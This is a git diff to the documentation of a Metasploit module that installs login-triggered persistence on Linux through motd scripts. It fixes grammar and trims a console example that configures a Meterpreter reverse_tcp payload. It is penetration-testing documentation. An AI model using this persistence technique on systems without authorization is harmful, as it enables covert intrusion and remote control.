diff --git a/documentation/modules/exploit/linux/local/motd_persistence.md b/documentation/modules/exploit/linux/local/motd_persistence.md index ef6e21217f0c..e5390d9a9597 100644 --- a/documentation/modules/exploit/linux/local/motd_persistence.md +++ b/documentation/modules/exploit/linux/local/motd_persistence.md @@ -1,5 +1,5 @@ -This is a post module that perform a persistence installation on a linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html). -To trigger the persistence execution, an external event such as an user logging in the system with `SSH` is required. +This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html). +To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required. ## Verification Steps @@ -12,19 +12,7 @@ To trigger the persistence execution, an external event such as an user logging ## Module usage ``` -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use motd - -Matching Modules -================ - - # Name Disclosure Date Rank Check Description - - ---- --------------- ---- ----- ----------- - 0 exploit/linux/local/motd_persistence 1999-01-01 normal No update-motd.d Persistence - - -Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/motd_persistence - -[*] Using exploit/linux/local/motd_persistence +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/motd_persistence) > set session -1 session => -1